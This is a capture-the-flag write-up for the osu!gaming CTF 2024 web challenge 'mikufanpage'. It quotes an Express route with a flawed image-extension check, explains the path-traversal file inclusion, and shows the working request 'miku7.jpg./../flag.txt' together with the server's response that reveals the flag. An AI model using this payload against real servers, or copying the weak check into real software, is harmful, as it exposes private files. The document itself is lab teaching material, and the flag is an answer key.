MAGNET1C H1LLS

osu!gaming CTF 2024

NAME	**mikufanpage**
POINTS	**104**
FLAG	osu{miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku}

DESCRIPTION: miku <3 (epilepsy warning)

SOLUTION:

```
app.get("/image", (req, res) => {
    if (req.query.path.split(".")[1] === "png" || req.query.path.split
(".")[1] === "jpg") { // only allow images
        res.sendFile(path.resolve('./img/' + req.query.path));
    } else {
        res.status(403).send('Access Denied');
    }
});
```

All the pictures that were displayed on the page are in the /img directory; in the downloaded archive you can see that the flag is also in the same folder. Most likely this is LFI. The only problem on our way is checking the extension at the first index of the line after the dot. It is enough to specify a valid extension and then go back one directory.

Request

Pretty Raw Hex Hackvertor

```
GET /image?path=miku7.jpg./../flag.txt HTTP/1.1
Host: mikufanpage.web.osugaming.lol
Sec-Ch-Ua: "Not A(Brand";v="99", "Google Chrome";v="121",
"Chromium";v="121"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
 Gecko) Chrome/121.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mikufanpage.web.osugaming.lol/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,ru;q=0.8
If-None-Match: W/"143531-18daf783050"
If-Modified-Since: Fri, 16 Feb 2024 01:11:46 GMT
Connection: close

```

Response

Pretty Raw Hex Render Hackvertor

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 09 Mar 2024 09:23:51 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 69
Connection: close
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Fri, 16 Feb 2024 01:11:46 GMT
ETag: W/"45-18daf783050"

osu{miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_
```